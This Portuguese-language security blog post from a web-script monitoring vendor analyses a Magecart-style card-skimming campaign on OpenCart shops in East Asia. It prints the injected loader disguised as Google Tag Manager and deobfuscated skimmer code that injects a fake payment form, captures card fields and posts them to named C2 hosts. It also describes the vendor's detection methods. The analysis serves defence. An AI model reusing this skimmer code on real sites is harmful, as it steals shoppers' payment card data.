Skip to main content
Blog
Blog

Magecart mirando sites de e-commerce do Leste Asiático no OpenCart

Detectamos um ataque no estilo Magecart direcionado à plataforma de CMS OpenCart

Jul 15, 2025 6 min read
banner-of-this-article-on-black-and-blue-background

Detectamos um ataque no estilo Magecart direcionado à plataforma de CMS OpenCart. A campanha parece estar focada em sites de e-commerce no Leste Asiático. Magecart tornou-se um termo usado como sinônimo de ataques client-side, originado de Magento + Cart.

Como aconteceu o ataque de injeção de script

O script malicioso é injetado diretamente na página inicial do site. Ele fica escondido entre integrações legítimas de terceiros, como Facebook Pixel, Meta Pixel e Google Tag Manager. Comportamento típico de um ataque client-side.

Veja o trecho que continha o malware injetado:

<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
    i['Google'+'Analytics'+'Objects']=r;
    a=s.createElement(g), m=s.getElementsByTagName(g)[0];
    if(i.location['href'].indexOf(i.atob(r)) > 0){
        a.async=1;
        a.src=''+i.atob(o);
        m.parentNode['insertBefore'](a,m);
        r=1;
    }
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->

À primeira vista, parece uma integração normal do Google Analytics ou Tag Manager, mas não é.

O payload decodificado em Base64 aponta para:

/tagscart[.]shop/cdn/analytics.min.js

Assim que esse script é carregado:

  1. Ele cria um elemento <script>.
  2. Define seu src para o analytics.min.js malicioso.
  3. Injeta na página antes de qualquer tag de script existente.

Comportamento do script malicioso

O script de /tagscart[.]shop/cdn/analytics.min.js estava fortemente ofuscado.

Algumas técnicas utilizadas:

  • Referências de caracteres hexadecimais (indexação com 0x...)
  • Divisão de arrays e recombinação dinâmica (.split('|'))
  • Uso perigoso de eval() para executar código decodificado dinamicamente
  • Execução silenciosa via try { onLoad(); } catch {}

Após a desofuscação

Observando as partes mais importantes:

// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php';  // Servidor C2 malicioso
var sAdsUrl2 = '//hxjet.pics/g.php';       // Servidor C2 de backup

// #################### FAKE FORM INJECTION ####################
// Injeção no fluxo padrão de checkout
function onTimerStd() {
    // ... (omitido por brevidade)
    var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
    vTargetBlocks.insertAdjacentHTML('beforeend', sHtml);  // Injeta formulário falso

    // Configuração de máscara de entrada
    (new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
        mask: "9999 9999 9999 99999999",  // Formatação de cartão de crédito
        placeHolder: "Valid Card Number"
    });
    // ... similar para campos de data e CVC
}

// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Anexa listeners aos campos de pagamento
for (var i = 0; i < vPaymentElements.length; ++i) {
    var hEl = document.getElementsByName(vPaymentElements[i])[0];
    if (hEl) {
        hEl.addEventListener('blur', mainListener);  // Captura quando o foco sai do campo
        hEl.addEventListener('keydown', mainListener);  // Captura teclas pressionadas
        hEl.addEventListener('paste', mainListener);  // Captura dados colados
    }
}

// #################### DATA VALIDATION ####################
function mainListener(e) {
    var iCodeLength = 3;
    try {
        if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
            iCodeLength = 4  // Ajusta validação para cartões Amex
    } catch (e) {}

    // Verificações de validação antes da exfiltração
    if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
        return;  // Exige comprimento mínimo do CVC
    if (document.getElementsByName('payment[date]')[0].value.length < 7)
        return;  // Exige data de validade completa

    // ... (lógica de exfiltração de dados)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
    var xmlhttp = getXmlHttp();
    xmlhttp.open('POST', sUrl, true);
    xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}

function mainListener(e) {
    // ... (verificações de validação)
    var sDump = JSON.stringify({
        "u": window.location.href,  // Captura a URL atual
        "f": vData  // Dados do formulário roubados
    });
    sDump = Base64.encode(sDump);  // Codifica os dados
    iMethod = 1;
    sendData(sAdsUrl1, sDump);  // Envia para o primeiro C2
    sendData(sAdsUrl2, sDump);  // Envia para o C2 de backup
}

// #################### FORM HIDING ####################
function onTimerStd() {
    // ... (após a injeção)
    var hDiv = document.getElementById('ccAq1TBAY_form_main');
    if (hDiv != null) {
        hDiv.style.display = 'none'  // Oculta o formulário de pagamento original
    }
    // ... (exibe o formulário falso)
}

Funcionalidades maliciosas

  • Injeção de formulário de pagamento falso: Cria dinamicamente um formulário falso de cartão de crédito (HTML + CSS).
  • O formulário falso é injetado nas páginas de checkout.
  • Lógica de coleta de dados:
    • Monitora a entrada do usuário em campos como: payment[cc_number]
    • payment[date]
    • payment[cc_cid]
  • Escuta os eventos blur, paste e keydown.
  • Validação antes da exfiltração:
    • Verifica se os campos do cartão parecem válidos (ex.: comprimento do CVC, formato da data de validade).
  • Exfiltração via requisição POST:
    • Após a validação, codifica em Base64 e captura os dados (incluindo a URL da página atual) e os envia para://ultracart[.]shop/g.php
    • //hxjet.pics/g.php
  • Ocultação e substituição do formulário:
    • O formulário de pagamento original é ocultado.
    • O formulário falso é exibido em seu lugar, estilizado para parecer legítimo.
  • Máscara de entrada:
    • Implementa um InputMask personalizado para fazer os campos parecerem "profissionais" (ex.: formatação automática de números de cartão de crédito).
  • Comportamento inesperado

    Ao contrário de alguns ataques Magecart tradicionais, esse script de terceiros não copia dados da área de transferência. Os usuários são forçados a inserir os dados do cartão manualmente. Além disso, após a inserção dos dados do cartão, as informações são enviadas imediatamente para o servidor do atacante. Em seguida, o formulário de pagamento por cartão é ocultado e o usuário é solicitado a inserir os dados de transação bancária para capturar informações adicionais sensíveis.

    Página de pagamento falsa

    Página de pagamento falsa após a inserção do cartão, exibindo a página de dados bancários

    Requisição POST capturada para o C2

    Dados postados em Base64

    Payload decodificado

    Como monitoramos o uso

    Para rastrear o ataque, entender como os dados são gerenciados ou utilizados, ou onde estão sendo vendidos, costumamos usar canary tokens para rastreamento. Isso é o que encontramos:

    Curiosamente, na maioria dos casos, vemos o uso do cartão roubado nos dias seguintes. No entanto, neste caso, levou vários meses.

    Neste exemplo, identificamos dois usos. O primeiro ocorreu em 18 de junho por meio de uma transação pay-by-phone originada dos EUA.

    Uma segunda transação foi realizada no valor de €47,80 para um fornecedor desconhecido.

    Rastrear esses ataques nos dá uma compreensão melhor das pessoas por trás deles e de como as campanhas de ataque evoluem.

    Nossa plataforma de detecção identificou esse ataque usando uma combinação de:

    • Comportamento anômalo de scripts: Scripts que se passam por legítimos (Google Analytics / GTM), mas que carregam conteúdo de domínios suspeitos.
    • Padrões de JavaScript ofuscado: Uso de eval dinâmico, decodificação em base64 e manipulação suspeita de arrays.
    • Detecção de substituição de formulários: Monitoramento de formulários falsos injetados em fluxos de checkout conhecidos.

    Monitoramento de domínios de ameaça: tagscart[.]shop, ultracart[.]shop e hxjet[.]pics já estavam sinalizados em nossos feeds de inteligência de ameaças.

    Considerações finais

    Na cside, monitoramos continuamente scripts de terceiros e ativos web para detectar e prevenir ataques client-side como este.

    Nossa plataforma de detecção foi projetada para:

    • Identificar injeções de scripts não autorizadas
    • Analisar comportamentos suspeitos em tempo real
    • Bloquear ataques antes que dados sensíveis dos clientes possam ser roubados

    Ao proteger proativamente os sites contra ameaças client-side, ajudamos as empresas a preservar a confiança de seus clientes e a se manterem um passo à frente dos ataques de segurança web em constante evolução.

    Himanshu Anand
    Software Engineer

    I'm a software engineer and security analyst.

    Monitore e Proteja Seus Scripts de Terceiros

    Gain full visibility and control over every script delivered to your users to enhance site security and performance.

    Comece grátis, ou experimente o Business com um teste de 14 dias.

    Interface do painel cside mostrando monitoramento de scripts e análises de segurança
    Related Articles
    Agende uma demonstração